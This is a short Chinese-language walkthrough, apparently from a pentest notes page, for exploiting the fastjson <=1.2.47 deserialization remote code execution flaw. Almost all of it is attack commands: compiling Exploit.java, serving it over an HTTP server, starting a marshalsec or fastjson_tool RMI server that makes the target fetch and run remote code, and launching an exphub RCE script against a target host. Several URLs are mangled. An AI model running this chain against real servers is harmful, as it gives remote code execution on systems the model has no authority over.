编译Exploit.java生成Exploit.class

javac Exploit.java

python3 启一个 http 部署 Exploit.class

python3 -m http.server --bind 0.0.0.0 8888

marshalsec 开启 rmi

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "https://x.x.x.x:8888/#Exploit" 9999

@wyzxxz大佬的tools整合了rmi/ldap+命令执行,

java -cp fastjson_tool.jar fastjson.HRMIServer 127.0.0.1 9999 "touch /tmp/233"

+------------------------------------------------------------------------------------+
+ DES: by zhzyker as https://github.com/zhzyker/exphub                               +
+      RMIServer: rmi:https://ip:port/exp                                                  +
+      LDAPServer: ldap:https://ip:port/exp                                                +
+------------------------------------------------------------------------------------+
+ USE: python3 <filename> <target-ip> <RMI/LDAPServer>                               +
+ EXP: python3 fastjson-1.2.47_rce.py https://1.1.1.1:8080/ ldap:https://2.2.2.2:88/Object  +
+ VER: fastjson<=1.2.47                                                              +
+------------------------------------------------------------------------------------+

执行py脚本

• https://1.1.1.1:8080/ 为fastjson漏洞主机
• rmi:https://2.2.2.2:9999/Exploit 为rmi服务

python3 fastjson-1.2.47_rce.py https://1.1.1.1:8080/ rmi:https://2.2.2.2:9999/Exploit